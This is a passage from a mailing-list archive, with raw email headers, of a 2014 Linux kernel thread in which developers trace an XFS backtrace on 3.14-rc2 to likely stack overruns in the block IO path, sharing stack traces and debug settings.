AnAHAMQI+1J5LJLw/2dsb2JhbABagwy6ZYVQgREXdIIlAQEFOhwjEAgDGAklDwUlAyETiATJMxcWjmMHgySBFASYKYpPh1KDQSg Received: from ppp121-44-146-240.lns20.syd7.internode.on.net (HELO dastard) ([121.44.146.240]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Feb 2014 16:10:46 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WDSYu-0008GW-0H; Wed, 12 Feb 2014 16:40:44 +1100 Date: Wed, 12 Feb 2014 16:40:43 +1100 From: Dave Chinner To: Al Viro Cc: Dave Jones , Linus Torvalds , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212054043.GB13997@dastard> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140211172707.GA1749@redhat.com> <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140212042215.GN18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392183647 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 12, 2014 at 04:22:15AM +0000, Al Viro wrote: > On Tue, Feb 11, 2014 at 11:03:58PM -0500, Dave Jones wrote: > > [ 3111.414202] [] bio_alloc_bioset+0x156/0x210 > > [ 3111.414855] [] _xfs_buf_ioapply+0x1c1/0x3c0 [xfs] > > [ 3111.415517] [] ? xlog_bdstrat+0x22/0x60 [xfs] > > [ 3111.416175] [] xfs_buf_iorequest+0x6b/0xf0 [xfs] > > [ 3111.416843] [] xlog_bdstrat+0x22/0x60 [xfs] > > [ 3111.417509] [] xlog_sync+0x3a7/0x5b0 [xfs] > > [ 3111.418175] [] xlog_state_release_iclog+0x10f/0x120 [xfs] > > [ 3111.418846] [] xlog_write+0x6f0/0x800 [xfs] > > [ 3111.419518] [] xlog_cil_push+0x2f1/0x410 [xfs] > > Very interesting. The first thing xlog_cil_push() is doing is blocking > kmalloc(). So at that point it still hadn't been atomic. I'd probably > slap may_sleep() in the beginning of xlog_sync() and see if that triggers... None of the XFS code disables interrupts in that path, not does is call outside XFS except to dispatch IO. The stack is pretty deep at this point and I know that the standard (non stacked) IO stack can consume >3kb of stack space when it gets down to having to do memory reclaim during GFP_NOIO allocation at the lowest level of SCSI drivers. Stack overruns typically show up with symptoms like we are seeing. Simple example with memory allocation follows. keep in mind that memory reclaim uses a whole lot more stack if it is needed, and that scheduling at this point requires about 1k of stack to be free for the scheduler footprint, too. FWIW, the blk-mq stuff seems to hae added 200-300 bytes of new stack usage to the IO path.... $ sudo cat /sys/kernel/debug/tracing/stack_trace Depth Size Location (45 entries) ----- ---- -------- 0) 5944 40 zone_statistics+0xbd/0xc0 1) 5904 256 get_page_from_freelist+0x3a8/0x8a0 2) 5648 256 __alloc_pages_nodemask+0x143/0x8e0 3) 5392 80 alloc_pages_current+0xb2/0x170 4) 5312 64 new_slab+0x265/0x2e0 5) 5248 240 __slab_alloc+0x2fb/0x4c4 6) 5008 80 __kmalloc+0x133/0x180 7) 4928 112 virtqueue_add_sgs+0x2fe/0x520 8) 4816 288 __virtblk_add_req+0xd5/0x180 9) 4528 96 virtio_queue_rq+0xdd/0x1d0 10) 4432 112 __blk_mq_run_hw_queue+0x1c3/0x3c0 11) 4320 16 blk_mq_run_hw_queue+0x35/0x40 12) 4304 80 blk_mq_insert_requests+0xc5/0x120 13) 4224 96 blk_mq_flush_plug_list+0x129/0x140 14) 4128 112 blk_flush_plug_list+0xe7/0x240 15) 4016 32 blk_finish_plug+0x18/0x50 16) 3984 192 _xfs_buf_ioapply+0x30f/0x3b0 17) 3792 48 xfs_buf_iorequest+0x6f/0xc0 .... 37) 928 16 xfs_vn_create+0x13/0x20 38) 912 64 vfs_create+0xb5/0xf0 39) 848 208 do_last.isra.53+0x6e0/0xd00 40) 640 176 path_openat+0xbe/0x620 41) 464 208 do_filp_open+0x43/0xa0 42) 256 112 do_sys_open+0x13c/0x230 43) 144 16 SyS_open+0x22/0x30 44) 128 128 system_call_fastpath+0x16/0x1b Dave, before chasing ghosts, can you (like Eric originally asked) turn on stack overrun detection? Cheers, Dave. -- Dave Chinner david@fromorbit.com From davej@redhat.com Tue Feb 11 23:50:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 798FA7F50 for ; Tue, 11 Feb 2014 23:50:39 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4C1B08F8039 for ; Tue, 11 Feb 2014 21:50:39 -0800 (PST) X-ASG-Debug-ID: 1392184238-04bdf0734c13d850001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Ffy7lHzJdSK2hkRB for ; Tue, 11 Feb 2014 21:50:38 -0800 (PST) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1C5oYYg017729 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 12 Feb 2014 00:50:35 -0500 Received: from gelk.kernelslacker.org (ovpn-113-62.phx2.redhat.com [10.3.113.62]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1C5oTHv026608 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 12 Feb 2014 00:50:34 -0500 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.7) with ESMTP id s1C5oSTc028842; Wed, 12 Feb 2014 00:50:28 -0500 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id s1C5oR64028841; Wed, 12 Feb 2014 00:50:27 -0500 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Wed, 12 Feb 2014 00:50:27 -0500 From: Dave Jones To: Dave Chinner Cc: Al Viro , Linus Torvalds , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212055027.GA28502@redhat.com> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Mail-Followup-To: Dave Jones , Dave Chinner , Al Viro , Linus Torvalds , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com References: <20140211172707.GA1749@redhat.com> <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140212054043.GB13997@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392184238 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, Feb 12, 2014 at 04:40:43PM +1100, Dave Chinner wrote: > None of the XFS code disables interrupts in that path, not does is > call outside XFS except to dispatch IO. The stack is pretty deep at > this point and I know that the standard (non stacked) IO stack can > consume >3kb of stack space when it gets down to having to do memory > reclaim during GFP_NOIO allocation at the lowest level of SCSI > drivers. Stack overruns typically show up with symptoms like we are > seeing. > .. > > Dave, before chasing ghosts, can you (like Eric originally asked) > turn on stack overrun detection? CONFIG_DEBUG_STACKOVERFLOW ? Already turned on. Dave From david@fromorbit.com Wed Feb 12 00:10:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DC9A37F50 for ; Wed, 12 Feb 2014 00:10:58 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id C354F8F8039 for ; Tue, 11 Feb 2014 22:10:55 -0800 (PST) X-ASG-Debug-ID: 1392185453-04bdf0121f2f2850001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id muzAcFOKzCGeqZC9 for ; Tue, 11 Feb 2014 22:10:53 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnAHAMoP+1J5LJLw/2dsb2JhbABagwy6ZYVQgRAXdIIlAQEFOhwzCAMYCSUPBSUDIQESiATJJRcWjmqDJIEUBJgpik+HUoNBKA Received: from ppp121-44-146-240.lns20.syd7.internode.on.net (HELO dastard) ([121.44.146.240]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Feb 2014 16:40:41 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WDT1q-0008Jj-Ap; Wed, 12 Feb 2014 17:10:38 +1100 Date: Wed, 12 Feb 2014 17:10:38 +1100 From: Dave Chinner To: Dave Jones , Al Viro , Linus Torvalds , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212061038.GC13997@dastard> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140211172707.GA1749@redhat.com> <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212055027.GA28502@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140212055027.GA28502@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392185453 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145044 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 12, 2014 at 12:50:27AM -0500, Dave Jones wrote: > On Wed, Feb 12, 2014 at 04:40:43PM +1100, Dave Chinner wrote: > > > None of the XFS code disables interrupts in that path, not does is > > call outside XFS except to dispatch IO. The stack is pretty deep at > > this point and I know that the standard (non stacked) IO stack can > > consume >3kb of stack space when it gets down to having to do memory > > reclaim during GFP_NOIO allocation at the lowest level of SCSI > > drivers. Stack overruns typically show up with symptoms like we are > > seeing. > > .. > > > > Dave, before chasing ghosts, can you (like Eric originally asked) > > turn on stack overrun detection? > > CONFIG_DEBUG_STACKOVERFLOW ? Already turned on. That only checks stack usage when an interrupt is taken. If no interrupts are taken when stack usage is within 128 bytes of overflow, then it doesn't catch it. I tend to use CONFIG_DEBUG_STACK_USAGE=y as it records the maximum stack usage of a process via canary overwrites and it records it in do_exit(). I also use the stack tracer to record the largest stack usage seen so I know exactly what code paths are approaching stack overruns... Cheers, Dave. -- Dave Chinner david@fromorbit.com From linus971@gmail.com Wed Feb 12 00:28:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 923017F50 for ; Wed, 12 Feb 2014 00:28:15 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6611A8F8039 for ; Tue, 11 Feb 2014 22:28:15 -0800 (PST) X-ASG-Debug-ID: 1392186493-04bdf0734c13f7f0001-NocioJ Received: from mail-ve0-f177.google.com (mail-ve0-f177.google.com [209.85.128.177]) by cuda.sgi.com with ESMTP id Ix2Dy99kBCGFvJzZ (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 11 Feb 2014 22:28:13 -0800 (PST) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.177 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.177] Received: by mail-ve0-f177.google.com with SMTP id jz11so6866591veb.22 for ; Tue, 11 Feb 2014 22:28:13 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.177] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.177] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=78nKlVTEs3oU8QVczVJ4mMiPOxwrPe9ZM8RxrTrfkaw=; b=XpANSGXFH7x9ucpR6Q9HlKph3AdWL+Nu8M/tnYtF7RsNI9mIP9hTzRUfyRhIx6+xQX UfgXRP5yPCpSgN1K+KXwOAW/2H2GSb33V8wnebsNjVPJ6Bg+iTlWdZBsy621VpJRXYpE 7rvEsyJqf/r+UKEU+LqKE4Yz9FTLniozQjB02Ul6BdmxnEwfbCHnvLONzvxWNkV1h7Ec Zb2qQRbSnVzllRJAheOy7aN9RoWhWAmSw3l8RnTUV0Xca95CNjYARheyd1E+OqlPky8S Rtpi+iUhLuPFra41Eu/jk2Jt9OX6kz+MprfWYaj1kbtLFKdY2qcbpf9XJWdQvNQ6I4Sg xmUQ== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=78nKlVTEs3oU8QVczVJ4mMiPOxwrPe9ZM8RxrTrfkaw=; b=ebnZqBsBqX93PBMDYNDb0qztthi3JZOkHaTPvjGWtCyS409KASNlOrNY3yBkORABrx SEBq76k/vRI1wQ5yxd/C/oVIAQSKhPAPk9qJ8zBpNuXh3ROM7weltd42X9XKfk04beeL 4PllUz2wRAwGw72aTzFJUco0Wm6mGOi3T80Fw= MIME-Version: 1.0 X-Received: by 10.52.95.233 with SMTP id dn9mr26472395vdb.3.1392186493036; Tue, 11 Feb 2014 22:28:13 -0800 (PST) Sender: linus971@gmail.com Received: by 10.220.13.2 with HTTP; Tue, 11 Feb 2014 22:28:12 -0800 (PST) In-Reply-To: <20140212054043.GB13997@dastard> References: <20140211172707.GA1749@redhat.com> <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> Date: Tue, 11 Feb 2014 22:28:12 -0800 X-Google-Sender-Auth: zoDCgIsVmi8gSgx8XGVhucqn2vc Message-ID: Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. From: Linus Torvalds X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. To: Dave Chinner Cc: Al Viro , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ve0-f177.google.com[209.85.128.177] X-Barracuda-Start-Time: 1392186493 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145044 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Feb 11, 2014 at 9:40 PM, Dave Chinner wrote: > > None of the XFS code disables interrupts in that path, not does is > call outside XFS except to dispatch IO. The stack is pretty deep at > this point and I know that the standard (non stacked) IO stack can > consume >3kb of stack space when it gets down to having to do memory > reclaim during GFP_NOIO allocation at the lowest level of SCSI > drivers. Stack overruns typically show up with symptoms like we are > seeing. That would also explain why it shows up for do_coredump(), even though clearly interrupts are not disabled at that point. It's just because do_coredump() opens a filename at a deeper point in the stack than the more normal system call paths do. It looks like just "do_signal()" has a stack frame that is about 230 bytes even under normal circumstancs (largely due to "struct ksignal" - which in turn is largely due to the insane 128-byte padding in siginfo_t). Add a few other frames in there, and I guess that if it was close before, the coredump path just makes it go off. And some of the debug options that I'm sure DaveJ has enabled tend to make the stack usage worse (simply because they make a lot of data structures bigger). Linus From david@fromorbit.com Wed Feb 12 00:32:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A43747F50 for ; Wed, 12 Feb 2014 00:32:02 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 96A148F804C for ; Tue, 11 Feb 2014 22:32:02 -0800 (PST) X-ASG-Debug-ID: 1392186715-04cbb00c2a2cf290001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id DZZEuxPnA7xBXyuN for ; Tue, 11 Feb 2014 22:31:56 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnEHAHkU+1J5LJLw/2dsb2JhbABagwy6ZYVQgQ4XdIIlAQEFJxMcMwgDGAklDwUlAyEBEogEySYXFo5qgySBFASYKYpPh1KDQSg Received: from ppp121-44-146-240.lns20.syd7.internode.on.net (HELO dastard) ([121.44.146.240]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Feb 2014 17:01:54 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WDTMM-0008LW-Uu; Wed, 12 Feb 2014 17:31:51 +1100 Date: Wed, 12 Feb 2014 17:31:50 +1100 From: Dave Chinner To: Dave Jones , Al Viro , Linus Torvalds , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212063150.GD13997@dastard> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212055027.GA28502@redhat.com> <20140212061038.GC13997@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140212061038.GC13997@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392186715 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145044 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 12, 2014 at 05:10:38PM +1100, Dave Chinner wrote: > On Wed, Feb 12, 2014 at 12:50:27AM -0500, Dave Jones wrote: > > On Wed, Feb 12, 2014 at 04:40:43PM +1100, Dave Chinner wrote: > > > > > None of the XFS code disables interrupts in that path, not does is > > > call outside XFS except to dispatch IO. The stack is pretty deep at > > > this point and I know that the standard (non stacked) IO stack can > > > consume >3kb of stack space when it gets down to having to do memory > > > reclaim during GFP_NOIO allocation at the lowest level of SCSI > > > drivers. Stack overruns typically show up with symptoms like we are > > > seeing. > > > .. > > > > > > Dave, before chasing ghosts, can you (like Eric originally asked) > > > turn on stack overrun detection? > > > > CONFIG_DEBUG_STACKOVERFLOW ? Already turned on. > > That only checks stack usage when an interrupt is taken. If no > interrupts are taken when stack usage is within 128 bytes of > overflow, then it doesn't catch it. > > I tend to use CONFIG_DEBUG_STACK_USAGE=y as it records the maximum > stack usage of a process via canary overwrites and it records it in > do_exit(). I also use the stack tracer to record the largest stack > usage seen so I know exactly what code paths are approaching stack > overruns... FYI, just creating lots of files with open(O_CREAT): [ 348.718357] fs_mark (4828) used greatest stack depth: 2968 bytes left [ 348.769846] fs_mark (4814) used greatest stack depth: 2312 bytes left [ 349.777717] fs_mark (4826) used greatest stack depth: 2280 bytes left [ 418.139415] fs_mark (4928) used greatest stack depth: 1936 bytes left [ 460.492282] fs_mark (4993) used greatest stack depth: 1336 bytes left [ 544.825418] fs_mark (5104) used greatest stack depth: 1112 bytes left [ 689.503970] fs_mark (5265) used greatest stack depth: 1000 bytes left We've got absolutely no spare stack space anymore in the IO path. And the IO path can't get much simpler than filesystem -> virtio block device. Cheers, Dave. -- Dave Chinner david@fromorbit.com From linus971@gmail.com Wed Feb 12 01:00:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8B5107F50 for ; Wed, 12 Feb 2014 01:00:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6DAF28F8050 for ; Tue, 11 Feb 2014 23:00:00 -0800 (PST) X-ASG-Debug-ID: 1392188398-04cb6c6de22d7070001-NocioJ Received: from mail-ve0-f176.google.com (mail-ve0-f176.google.com [209.85.128.176]) by cuda.sgi.com with ESMTP id Tt7o5wqedPtAGUCq (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 11 Feb 2014 22:59:59 -0800 (PST) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.176 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.176] Received: by mail-ve0-f176.google.com with SMTP id oz11so7004390veb.35 for ; Tue, 11 Feb 2014 22:59:58 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.176] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.176] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=N8DzgKkLS2JUW73TMf0eO3np+svGw9GHpkoch5M59s0=; b=GACQjuQdlHrpBv70QKnjiuGFNRlliW89KZsWHDNw4009N00Girq4UjoAnOr5a6FVRD upOxPOUZdfPZgnR9qctuZ9DWeD8736f2iynkD+OMfqRi8pRbRZgrLZtHcmmbPsfIvAjD Ve76iNt3koEstJlAZZ+iZGNItFk49sqL7BYjNKYnJ+WwFS2uhU5No+2pC+awiHwYq5EV jink4+MnHJk9ZWQ9gq5fIW18Z1E4Ui8uhh266ETVA55eDCCzHrfHkyisQc3xlnodweRL kSNrJVQ05rLBvI17R7bmMisoMa/ZnzUB6MyisYIu7tmxZVq6dl68w05fL3RGgu1sFhjz zzkA== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=N8DzgKkLS2JUW73TMf0eO3np+svGw9GHpkoch5M59s0=; b=Fh1PvkT28RVfVQP+nqqApQwfhz6R2r1qnp0u6UK+EfV/BE21nK1vyr2SS8fHBFTg+O rrNfY+ZdrOZDBEWiLr++QigXIwnzC82211cfokH0j+FmwcEUy6StAxMdhb4Yv908C/Xe tlTkiXsVME8vyTrJj1ie5u/FpTFSlxJF3D5tU= MIME-Version: 1.0 X-Received: by 10.52.166.103 with SMTP id zf7mr301012vdb.30.1392188398701; Tue, 11 Feb 2014 22:59:58 -0800 (PST) Sender: linus971@gmail.com Received: by 10.220.13.2 with HTTP; Tue, 11 Feb 2014 22:59:58 -0800 (PST) In-Reply-To: <20140212063150.GD13997@dastard> References: <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212055027.GA28502@redhat.com> <20140212061038.GC13997@dastard> <20140212063150.GD13997@dastard> Date: Tue, 11 Feb 2014 22:59:58 -0800 X-Google-Sender-Auth: EiFCTSF5TlKGlqUNDA3j4W39urA Message-ID: Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. From: Linus Torvalds X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. To: Dave Chinner , Jens Axboe , Tejun Heo , Steven Rostedt Cc: Dave Jones , Al Viro , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ve0-f176.google.com[209.85.128.176] X-Barracuda-Start-Time: 1392188399 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Feb 11, 2014 at 10:31 PM, Dave Chinner wrote: > > FYI, just creating lots of files with open(O_CREAT): > > [ 348.718357] fs_mark (4828) used greatest stack depth: 2968 bytes left > [ 348.769846] fs_mark (4814) used greatest stack depth: 2312 bytes left > [ 349.777717] fs_mark (4826) used greatest stack depth: 2280 bytes left > [ 418.139415] fs_mark (4928) used greatest stack depth: 1936 bytes left > [ 460.492282] fs_mark (4993) used greatest stack depth: 1336 bytes left > [ 544.825418] fs_mark (5104) used greatest stack depth: 1112 